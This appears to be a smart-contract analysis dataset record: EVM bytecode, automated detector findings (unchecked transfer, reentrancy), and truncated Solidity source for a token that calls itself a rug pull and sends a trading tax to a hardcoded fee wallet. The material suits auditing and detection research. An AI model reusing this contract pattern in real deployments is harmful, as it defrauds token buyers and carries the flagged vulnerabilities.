b71d91fd0832908490a3506001919050565b6b0110f837d8942a518a00000081565b600080546040517f0a85bb2500000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff90911691630a85bb25916107dd91339130919036906004016131e2565b60206040518083038186803b1580156107f557600080fd5b505afa158015610809573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061082d9190810190612eb8565b151561083857600080fd5b610841816126f2565b50565b600080546040517f0a85bb2500000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff90911691630a85bb25916108a091339130919036906004016131e2565b60206040518083038186803b1580156108b857600080fd5b505afa1580156108cc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506108f09190810190612eb8565b15156108fb57600080fd5b61084181612770565b60008054819081907501000000000000000000000000000000000000000000900460ff16151561093357600080fd5b505073ffffffffffffffffffffffffffffffffffffffff84166000908152600260208181526040808420338552928301909152909120815461097b908563ffffffff6127e516565b8255805461098f908563ffffffff6127e516565b815573ffffffffffffffffffffffffffffffffffffffff808616600081815260026020526040908190208054880190555190918816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109f29088906132bf565b60405180910390a350600195945050505050565b33600090815260026020818152604080842073ffffffffffffffffffffffffffffffffffffffff88168552909201905281208054828415610a5857610a51828763ffffffff6127e516565b9050610a65565b81861015610a6557508481035b80835560405173ffffffffffffffffffffffffffffffffffffffff88169033907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610ab29085906132bf565b60405180910390a35060019695505050505050565b601281565b60018054604080516020600284861615610100027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0190941693909304601f81018490048402820184019092528181529291830182828015610b6f5780601f10610b4457610100808354040283529160200191610b6f565b820191906000526020600020905b815481529060010190602001808311610b5257829003601f168201915b505050505081565b33600081815260026020818152604080842073ffffffffffffffffffffffffffffffffffffffff8816808652930190915282208054929390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610be2908763ffffffff6127f516565b8085556040516106db91906132bf565b600080547501000000000000000000000000000000000000000000900460ff161515610c1d57600080fd5b73ffffffffffffffffffffffffffffffffffffffff84163014801590610c4557506044825110155b8015610c565750610c568484612180565b1515610c6157600080fd5b8260248301523360448301528373ffffffffffffffffffffffffffffffffffffffff16348360405180828051906020019080838360005b83811015610cb0578181015183820152602001610c98565b50505050905090810190601f168015610cdd5780820380516001836020036101000a031916815260200191505b5091505060006040518083038185875af1925050501515610cfd57600080fd5b5060015b9392505050565b610d10612972565b5073ffffffffffffffffffffffffffffffffffffffff80831660009081526002602081815260408084209486168452938201815291839020835160a081018552600182015494810194855291810154606083015260038101546080830152928152600490920154908201525b92915050565b600080546040517f0a85bb2500000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff90911691630a85bb2591610dde91339130919036906004016131e2565b60206040518083038186803b158015610df657600080fd5b505afa158015610e0a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610e2e9190810190612eb8565b1515610e3957600080fd5b61084181612805565b33600090815260026020818152604080842073ffffffffffffffffffffffffffffffffffffffff881685529092019052812080548414610e8157600080fd5b82815560405173ffffffffffffffffffffffffffffffffffffffff86169033907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610ece9087906132bf565b60405180910390a3506001949350505050565b600054760100000000000000000000000000000000000000000000900460ff1681565b6000547501000000000000000000000000000000000000000000900460ff1681565b73ffffffffffffffffffffffffffffffffffffffff8083166000908152600260208181526040808420948616845291840190528120548254919291610f6b9190612879565b949350505050565b600080546040517f0a85bb2500000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff90911691630a85bb2591610fcf91339130919036906004016131e2565b60206040518083038186803b158015610fe757600080fd5b505afa158015610ffb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061101f9190810190612eb8565b151561102a57600080fd5b604080517f6901f66800000000000000000000000000000000000000000000000000000000808252915173ffffffffffffffffffffffffffffffffffffffff841691636901f668916004808301926020929190829003018186803b15801561109157600080fd5b505afa1580156110a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506110c99190810190612ed6565b7fffffffff0000000000000000000000000000000000000000000000000000000016146110f557600080fd5b600080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff8316908117825560405190917f1e03f798432da753fa76bd6d807748d894d4e59e05731b05fff74173f35464d191a250565b73ffffffffffffffffffffffffffffffffffffffff1660009081526002602052604090205490565b600080600080600080600080600080600060159054906101000a900460ff1615156111b457600080fd5b60005477010000000000000000000000000000000000000000000000900460ff1615156111e057600080fd5b33600090815260026020526040812060019b50995096505b8b51871015611397578b8781518110151561120f57fe5b602090810290910181015173ffffffffffffffffffffffffffffffffffffffff81166000908152600280845260408083203384528083019095529091206003810154918101549299509297506001928301965061128e929161127890429063ffffffff6127e516565b81151561128157fe5b049063ffffffff6127f516565b845460038601549194506112b9916112ad90869063ffffffff6127e516565b9063ffffffff61289016565b9150600082116112c857600080fd5b50835480821115611329578a156112de57600080fd5b60405160009a50339073ffffffffffffffffffffffffffffffffffffffff8816907f3a2e3d0ecec3142514fb77933d7647fd6c7cf9f76de44841c91ceadaa38a9565908d90a361138c565b81810385556003840183905560405197820197339073ffffffffffffffffffffffffffffffffffffffff8816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113839086906132bf565b60405180910390a35b6001909601956111f8565b5050865490950190955550939695505050505050565b600080546040517f0a85bb2500000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff90911691630a85bb259161140991339130919036906004016131e2565b60206040518083038186803b15801561142157600080fd5b505afa158015611435573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506114599190810190612eb8565b151561146457600080fd5b610841816128b5565b6040805180820182528281526000602080830182815233808452600280845286852073ffffffffffffffffffffffffffffffffffffffff8a168087529082018552878620965180516001890155948501519187019190915592860151600386015590516004909401939093559251909291907fa25dcfb713acdeba8b55101aa403f8ce07b4d6f33b0cebf81226fe558a28c56b9061150c9086906132a3565b60405180910390a350600192915050565b600080600080600060159054906101000a900460ff16151561153e57600080fd5b600054760100000000000000000000000000000000000000000000900460ff16151561156957600080fd5b73ffffffffffffffffffffffffffffffffffffffff8b1630141561158c57600080fd5b600088600381111561159a57fe5b141561182e576001308f8f8f8f8f8f8f6000604051602001808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018981526020018881526020018781526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140185815260200184805190602001908083835b6020831061169657805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe09092019160209182019101611659565b6001836020036101000a0380198251168184511680821785525050505050509050018360038111156116c457fe5b60ff167f01000000000000000000000000000000000000000000000000000000000000000281526001018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140199505050505050505050506040516020818303038152906040526040518082805190602001908083835b6020831061179657805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe09092019160209182019101611759565b51815160209384036101000a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff018019909216911617905260408051929094018290038220600083529101928390526117f8945092508b918b91508a90613243565b6020604051602081039080840390855afa15801561181a573d6000803e3d6000fd5b505050602060405103519250339150611ce0565b600188600381111561183c57fe5b1415611ad0576001308f8f8f8f8f8f8f6000604051602001808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018981526020018881526020018781526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140185815260200184805190602001908083835b6020831061193857805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe090920191602091820191016118fb565b6001836020036101000a03801982511681845116808217855250505050505090500183600381111561196657fe5b60ff167f01000000000000000000000000000000000000000000000000000000000000000281526001018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140199505050505050505050506040516020818303038152906040526040518082805190602001908083835b60208310611a3857805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe090920191602091820191016119fb565b51815160209384036101000a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff01801990921691161790526040805192909401829003822060008352910192839052611a9a945092508b918b91508a90613243565b6020604051602081039080840390855afa158015611abc573d6000803e3d6000fd5b505050602060405103519250329150611ce0565b6002886003811115611ade57fe5b1415611bd8576001308f8f8f8f8f8f8f33604051602001808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018981526020018881526020018781526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140185815260200184805190602001908083836020831061169657805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe09092019160209182019101611659565b6003886003811115611be657fe5b14156101b6576001308f8f8f8f8f8f8f32604051602001808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018981526020018881526020018781526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140185815260200184805190602001908083836020831061193857805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe090920191602091820191016118fb565b5073ffffffffffffffffffffffffffffffffffffffff8216600090815260026020526040902060018101548e14611d1657600080fd5b8273ffffffffffffffffffffffffffffffffffffffff167fceb9e69e536dba286db476863cd607b4a7dd1f8f1c044bf410f2c4306517cc26600183600101600082825401925050819055604051611d6d91906132bf565b60405180910390a2611d96611d888b8f63ffffffff6127f516565b82549063ffffffff6127e516565b815573ffffffffffffffffffffffffffffffffffffffff8b16600090815260026020526040902080548b0190558c15611e7f578c600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8f604051611e7691906132bf565b60405180910390a35b611e9e8b73ffffffffffffffffffffffffffffffffffffffff1661292b565b158015611ead57506044895110155b15611feb578960248a01528260448a01528a73ffffffffffffffffffffffffffffffffffffffff168c8a60405180828051906020019080838360005b83811015611f01578181015183820152602001611ee9565b50505050905090810190601f168015611f2e5780820380516001836020036101000a031916815260200191505b5091505060006040518083038160008787f19250505015611fb3578a73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8c604051611fa691906132bf565b60405180910390a3611fe6565b80548a01815573ffffffffffffffffffffffffffffffffffffffff8b16600090815260026020526040902080548b900390555b612051565b8a73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8c60405161204891906132bf565b60405180910390a35b5060019d9c50505050505050505050505050565b60408051808201909152600381527f4653540000000000000000000000000000000000000000000000000000000000602082015281565b60005477010000000000000000000000000000000000000000000000900460ff1681565b600080546040517f0a85bb2500000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff90911691630a85bb259161211c91339130919036906004016131e2565b60206040518083038186803b15801561213457600080fd5b505afa158015612148573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061216c9190810190612eb8565b151561217757600080fd5b61084181612930565b6000805481907501000000000000000000000000000000000000000000900460ff1615156121ad57600080fd5b5033600090815260026020526040902080546121cf908463ffffffff6127e516565b815573ffffffffffffffffffffffffffffffffffffffff8416600081815260026020526040908190208054860190555133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906106db9087906132bf565b60008060008060008060159054906101000a900460ff16151561225057600080fd5b60005477010000000000000000000000000000000000000000000000900460ff16151561227c57600080fd5b73ffffffffffffffffffffffffffffffffffffffff86166000908152600260208181526040808420338552808401909252909220600381015491810154929650600190810195506122db9290919061127890429063ffffffff6127e516565b835460038501549193506122fa916112ad90859063ffffffff6127e516565b90506000811161230957600080fd5b835461231b908263ffffffff6127e516565b84553360008181526002602052604090819020805484019055600385018490555173ffffffffffffffffffffffffffffffffffffffff8816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109f29085906132bf565b600080600080600080600060159054906101000a900460ff1615156123a557600080fd5b336000908152600260205260408120955092505b865183101561249057606087848151811015156123d257fe5b906020019060200201519060020a9004915086838151811015156123f257fe5b602090810290910101516bffffffffffffffffffffffff16905061241c848263ffffffff6127f516565b73ffffffffffffffffffffffffffffffffffffffff831660008181526002602052604090819020805485019055519195509033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061247d9085906132bf565b60405180910390a36001909201916123b9565b84546124a2908563ffffffff6127e516565b90945550600195945050505050565b33600081815260026020526040808220600190810180549091019081905590519192917fceb9e69e536dba286db476863cd607b4a7dd1f8f1c044bf410f2c4306517cc26916124ff916132bf565b60405180910390a290565b73ffffffffffffffffffffffffffffffffffffffff91821660009081526002602081815260408084209490951683529201909152205490565b73ffffffffffffffffffffffffffffffffffffffff1660009081526002602052604090206001015490565b60005474010000000000000000000000000000000000000000900460ff1681565b600080546040517f0a85bb2500000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff90911691630a85bb25916125eb91339130919036906004016131e2565b60206040518083038186803b15801561260357600080fd5b505afa158015612617573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061263b9190810190612eb8565b151561264657600080fd5b6040517fa9059cbb00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff84169063a9059cbb9061269a908590859060040161321a565b602060405180830381600087803b1580156126b457600080fd5b505af11580156126c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506126ec9190810190612eb8565b50505050565b600080547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff1674010000000000000000000000000000000000000000831515021790556040517f0742a23da401b3f99c3da7b7508a78f0faf0098b7e54106be805c671dd91300790612765908390613235565b60405180910390a150565b600080547fffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffffff16760100000000000000000000000000000000000000000000831515021790556040517f8557fc9589f24ba6adfed162065f291fe9d7e55aff6a9b2924dcd6c2cfce875590612765908390613235565b80820382811115610d7c57600080fd5b80820182811015610d7c57600080fd5b600080547fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff167501000000000000000000000000000000000000000000831515021790556040517ff6ff712ce1a864d00b4e395a3226b3b51837947e34df82826504708e4da4739390612765908390613235565b6000818311156128895781610d01565b5090919050565b8181028215806128aa57508183828115156128a757fe5b04145b1515610d7c57600080fd5b600080547fffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffffffff1677010000000000000000000000000000000000000000000000831515021790556040517f93365d0422216fbe0e6a095101b1602da2d51549500da385b7d0920e6eb0db1390612765908390613235565b3b1590565b80517f862d2bb6b8cf31caf965347718f48b7d2ac43dd5af10d2040d8da4fde4f3855090612965906001906020850190612993565b6040516127659190613292565b608060405190810160405280612986612a11565b8152602001600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106129d457805160ff1916838001178555612a01565b82800160010185558215612a01579182015b82811115612a015782518255916020019190600101906129e6565b50612a0d929150612a33565b5090565b6060604051908101604052806000815260200160008152602001600081525090565b612a4d91905b80821115612a0d5760008155600101612a39565b90565b6000610d018235613379565b6000601f82018313612a6d57600080fd5b8135612a80612a7b82613302565b6132db565b91508181835260208401935060208101905083856020840282011115612aa557600080fd5b60005b83811015612ad15781612abb8882612a50565b8452506020928301929190910190600101612aa8565b5050505092915050565b6000601f82018313612aec57600080fd5b8135612afa612a7b82613302565b91508181835260208401935060208101905083856020840282011115612b1f57600080fd5b60005b83811015612ad15781612b358882612b63565b8452506020928301929190910190600101612b22565b6000610d018235613392565b6000610d018251613392565b6000610d018235612a4d565b6000610d01825161339d565b6000601f82018313612b8c57600080fd5b8135612b9a612a7b82613323565b91508082526020830160208301858383011115612bb657600080fd5b612bc18382846133dc565b50505092915050565b6000610d0182356133c2565b6000610d0182356133cd565b600060608284031215612bf457600080fd5b612bfe60606132db565b90506000612c0c8484612b63565b8252506020612c1d84848301612b63565b6020830152506040612c3184828501612b63565b60408301525092915050565b6000610d018235613397565b600060208284031215612c5b57600080fd5b6000610f6b8484612a50565b60008060408385031215612c7a57600080fd5b6000612c868585612a50565b9250506020612c9785828601612a50565b9150509250929050565b600080600060608486031215612cb657600080fd5b6000612cc28686612a50565b9350506020612cd386828701612a50565b9250506040612ce486828701612b63565b9150509250925092565b60008060808385031215612d0157600080fd5b6000612d0d8585612a50565b9250506020612c9785828601612be2565b60008060408385031215612d3157600080fd5b6000612d3d8585612a50565b9250506020612c9785828601612b63565b600080600060608486031215612d6357600080fd5b6000612d6f8686612a50565b9350506020612d8086828701612b63565b9250506040612ce486828701612b4b565b600080600060608486031215612da657600080fd5b6000612db28686612a50565b9350506020612dc386828701612b63565b925050604084013567ffffffffffffffff811115612de057600080fd5b612ce486828701612b7b565b600080600060608486031215612e0157600080fd5b6000612e0d8686612a50565b9350506020612cd386828701612b63565b60008060408385031215612e3157600080fd5b823567ffffffffffffffff811115612e4857600080fd5b612e5485828601612a5c565b9250506020612c9785828601612b4b565b600060208284031215612e7757600080fd5b813567ffffffffffffffff811115612e8e57600080fd5b610f6b84828501612adb565b600060208284031215612eac57600080fd5b6000610f6b8484612b4b565b600060208284031215612eca57600080fd5b6000610f6b8484612b57565b600060208284031215612ee857600080fd5b6000610f6b8484612b6f565b600080600060608486031215612f0957600080fd5b6000612cc28686612bca565b600060208284031215612f2757600080fd5b6000610f6b8484612bca565b600060208284031215612f4557600080fd5b813567ffffffffffffffff811115612f5c57600080fd5b610f6b84828501612b7b565b6000806000806000806000806000806101408b8d031215612f8857600080fd5b6000612f948d8d612b63565b9a50506020612fa58d828e01612b63565b9950506040612fb68d828e01612b63565b9850506060612fc78d828e01612a50565b9750506080612fd88d828e01612b63565b96505060a08b013567ffffffffffffffff811115612ff557600080fd5b6130018d828e01612b7b565b95505060c06130128d828e01612bd6565b94505060e06130238d828e01612c3d565b9350506101006130358d828e01612b63565b9250506101206130478d828e01612b63565b9150509295989b9194979a5092959850565b61306281613379565b82525050565b61306281613392565b61306281612a4d565b60008284526020840193506130908385846133dc565b61309983613414565b9093019392505050565b613062816133c2565b60006130b782613375565b8084526130cb8160208601602086016133e8565b6130d481613414565b9093016020019392505050565b6000815460018116600081146130fe576001811461313a57613176565b60028204607f1685527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0082166020860152604085019250613176565b6002820480865260208601955061315085613369565b60005b8281101561316f57815488820152600190910190602001613153565b8701945050505b505092915050565b8051606083019061318f8482613071565b5060208201516131a26020850182613071565b5060408201516126ec6040850182613071565b805160808301906131c6848261317e565b5060208201516126ec6060850182613071565b61306281613397565b606081016131f08287613059565b6131fd60208301866130a3565b818103604083015261321081848661307a565b9695505050505050565b604081016132288285613059565b610d016020830184613071565b60208101610d7c8284613068565b608081016132518287613071565b61325e60208301866131d9565b61326b6040830185613071565b6132786060830184613071565b95945050505050565b60208082528101610d0181846130ac565b60208082528101610d0181846130e1565b60608101610d7c828461317e565b60808101610d7c82846131b5565b60208101610d7c8284613071565b60208101610d7c82846131d9565b60405181810167ffffffffffffffff811182821017156132fa57600080fd5b604052919050565b600067ffffffffffffffff82111561331957600080fd5b5060209081020190565b600067ffffffffffffffff82111561333a57600080fd5b506020601f919091017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0160190565b60009081526020902090565b5190565b73ffffffffffffffffffffffffffffffffffffffff1690565b151590565b60ff1690565b7fffffffff000000000000000000000000000000000000000000000000000000001690565b6000610d7c82613379565b600060048210612a0d57600080fd5b82818337506000910152565b60005b838110156134035781810151838201526020016133eb565b838111156126ec5750506000910152565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016905600a265627a7a72305820fcef133d4d56dc03bdeec7b7b4b71b4f71699f75c349d154d99aa1afbefbc6546c6578706572696d656e74616cf50037
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
1,779
0x9aba42ca2dd3da7c466076c812a50b312cbf3557
/* This is a RugPull there is no official telegram channel */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract thisIsaRugPull is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private redis = 1; uint256 private tax = 5; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; string private constant _name = "thisIsaRugPull"; string private constant _symbol = "RugPull"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x849C92605405A2273564F689F29AC73F3ac635da); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; emit Transfer(address(0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (from != address(this)) { _feeAddr1 = redis; _feeAddr2 = tax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (10 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 100000000000000000) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = _tTotal; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = 